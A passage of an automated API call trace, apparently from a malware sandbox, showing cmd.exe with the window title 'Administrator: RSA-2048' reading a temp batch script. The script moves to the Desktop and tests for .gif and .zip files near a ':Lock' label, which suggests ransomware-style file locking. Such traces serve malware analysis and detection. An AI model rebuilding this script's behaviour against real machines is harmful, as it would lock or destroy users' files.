0xffffffff [0040.126] GetLastError () returned 0x2 [0040.126] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.126] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.128] GetLastError () returned 0x2 [0040.128] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0040.130] GetLastError () returned 0x2 [0040.130] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.131] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41ec64 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 0x27 [0040.131] GetFullPathNameW (in: lpFileName="..", nBufferLength=0x104, lpBuffer=0x41ec64, lpFilePart=0x41ec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x41ec60*="5p5NrGJn0jS HALPmcxz") returned 0x1d [0040.131] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz")) returned 0x10 [0040.131] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4f5810 [0040.131] FindClose (in: hFindFile=0x4f5810 | out: hFindFile=0x4f5810) returned 1 [0040.131] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4f5810 [0040.131] FindClose (in: hFindFile=0x4f5810 | out: hFindFile=0x4f5810) returned 1 [0040.131] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0040.132] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz")) returned 0x10 [0040.132] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz")) returned 1 [0040.132] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0040.132] GetProcessHeap () returned 0x4e0000 [0040.132] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0040.132] GetEnvironmentStringsW () returned 0x4f6868* [0040.132] GetProcessHeap () returned 0x4e0000 [0040.132] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb34) returned 0x4f73a8 [0040.132] FreeEnvironmentStringsW (penv=0x4f6868) returned 1 [0040.132] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0040.132] GetProcessHeap () returned 0x4e0000 [0040.132] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4548 | out: hHeap=0x4e0000) returned 1 [0040.132] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.132] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.133] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.133] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.133] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.133] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.133] SetConsoleInputExeNameW () returned 0x1 [0040.133] GetConsoleOutputCP () returned 0x1b5 [0040.133] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.133] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.134] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0040.134] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 3 [0040.134] _get_osfhandle (_FileHandle=3) returned 0x1c [0040.134] SetFilePointer (in: hFile=0x1c, lDistanceToMove=3595, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4530 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2830 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f23b0 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2340 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.134] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.134] GetProcessHeap () returned 0x4e0000 [0040.135] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.135] _get_osfhandle (_FileHandle=3) returned 0x1c [0040.135] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0040.135] ReadFile (in: hFile=0x1c, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1822, lpOverlapped=0x0) returned 1 [0040.135] SetFilePointer (in: hFile=0x1c, lDistanceToMove=3607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0040.135] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="cd Desktop\r\n *.gif goto l\r\n\r\n") returned 12 [0040.135] _get_osfhandle (_FileHandle=3) returned 0x1c [0040.135] GetFileType (hFile=0x1c) returned 0x1 [0040.135] _get_osfhandle (_FileHandle=3) returned 0x1c [0040.135] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0040.135] GetProcessHeap () returned 0x4e0000 [0040.135] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.135] GetProcessHeap () returned 0x4e0000 [0040.135] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.136] _tell (_FileHandle=3) returned 3607 [0040.136] _close (_FileHandle=3) returned 0 [0040.136] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0040.136] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0040.136] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0040.136] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0040.136] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0040.136] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0040.136] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.136] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41ec64 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0040.137] GetFullPathNameW (in: lpFileName="Desktop", nBufferLength=0x104, lpBuffer=0x41ec64, lpFilePart=0x41ec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41ec60*="Desktop") returned 0x25 [0040.137] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0040.137] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4e2728 [0040.137] FindClose (in: hFindFile=0x4e2728 | out: hFindFile=0x4e2728) returned 1 [0040.137] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4e2728 [0040.137] FindClose (in: hFindFile=0x4e2728 | out: hFindFile=0x4e2728) returned 1 [0040.137] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0040.137] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6ac61b60, ftLastAccessTime.dwHighDateTime=0x1d6e1d5, ftLastWriteTime.dwLowDateTime=0x6ac61b60, ftLastWriteTime.dwHighDateTime=0x1d6e1d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4e2728 [0040.137] FindClose (in: hFindFile=0x4e2728 | out: hFindFile=0x4e2728) returned 1 [0040.137] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0040.137] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0040.138] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0040.138] GetProcessHeap () returned 0x4e0000 [0040.138] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f73a8 | out: hHeap=0x4e0000) returned 1 [0040.138] GetEnvironmentStringsW () returned 0x4f6868* [0040.138] GetProcessHeap () returned 0x4e0000 [0040.138] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb44) returned 0x4f73b8 [0040.138] FreeEnvironmentStringsW (penv=0x4f6868) returned 1 [0040.138] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0040.138] GetProcessHeap () returned 0x4e0000 [0040.138] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.138] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.138] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.139] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.139] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.139] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.139] SetConsoleInputExeNameW () returned 0x1 [0040.139] GetConsoleOutputCP () returned 0x1b5 [0040.139] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.139] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.140] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.140] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.140] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=3607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0040.140] GetProcessHeap () returned 0x4e0000 [0040.140] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.140] GetProcessHeap () returned 0x4e0000 [0040.140] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e08d0 | out: hHeap=0x4e0000) returned 1 [0040.140] GetProcessHeap () returned 0x4e0000 [0040.140] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5810 | out: hHeap=0x4e0000) returned 1 [0040.140] GetProcessHeap () returned 0x4e0000 [0040.140] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0040.140] GetProcessHeap () returned 0x4e0000 [0040.140] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.140] GetProcessHeap () returned 0x4e0000 [0040.140] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.140] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.140] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0040.140] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1816, lpOverlapped=0x0) returned 1 [0040.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0040.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr=":Lock\r\ntop\r\n *.gif goto l\r\n\r\n") returned 7 [0040.141] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.141] GetFileType (hFile=0x74) returned 0x1 [0040.141] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0040.141] GetProcessHeap () returned 0x4e0000 [0040.141] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.141] GetProcessHeap () returned 0x4e0000 [0040.141] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.141] _tell (_FileHandle=3) returned 3614 [0040.141] _close (_FileHandle=3) returned 0 [0040.141] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.141] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.141] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.141] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0040.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0040.142] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180f, lpOverlapped=0x0) returned 1 [0040.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0040.142] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nock\r\ntop\r\n *.gif goto l\r\n\r\n") returned 2 [0040.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.142] GetFileType (hFile=0x74) returned 0x1 [0040.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0040.142] GetProcessHeap () returned 0x4e0000 [0040.142] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.142] GetProcessHeap () returned 0x4e0000 [0040.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.142] _tell (_FileHandle=3) returned 3616 [0040.142] _close (_FileHandle=3) returned 0 [0040.143] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.143] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.143] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.143] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0040.143] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.143] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0040.143] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180d, lpOverlapped=0x0) returned 1 [0040.143] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0040.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\r\n\r\n") returned 25 [0040.143] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.143] GetFileType (hFile=0x74) returned 0x1 [0040.143] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.143] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0040.143] GetProcessHeap () returned 0x4e0000 [0040.143] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.143] GetProcessHeap () returned 0x4e0000 [0040.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.145] _tell (_FileHandle=3) returned 3641 [0040.145] _close (_FileHandle=3) returned 0 [0040.145] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0040.145] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.145] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.145] GetLastError () returned 0x2 [0040.145] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.145] GetLastError () returned 0x6 [0040.145] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.145] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.146] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.146] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.146] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.146] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.146] SetConsoleInputExeNameW () returned 0x1 [0040.146] GetConsoleOutputCP () returned 0x1b5 [0040.146] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.147] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.147] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.147] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.147] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.147] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.147] GetProcessHeap () returned 0x4e0000 [0040.147] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.148] GetProcessHeap () returned 0x4e0000 [0040.148] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.148] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0040.148] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f4, lpOverlapped=0x0) returned 1 [0040.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0040.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto 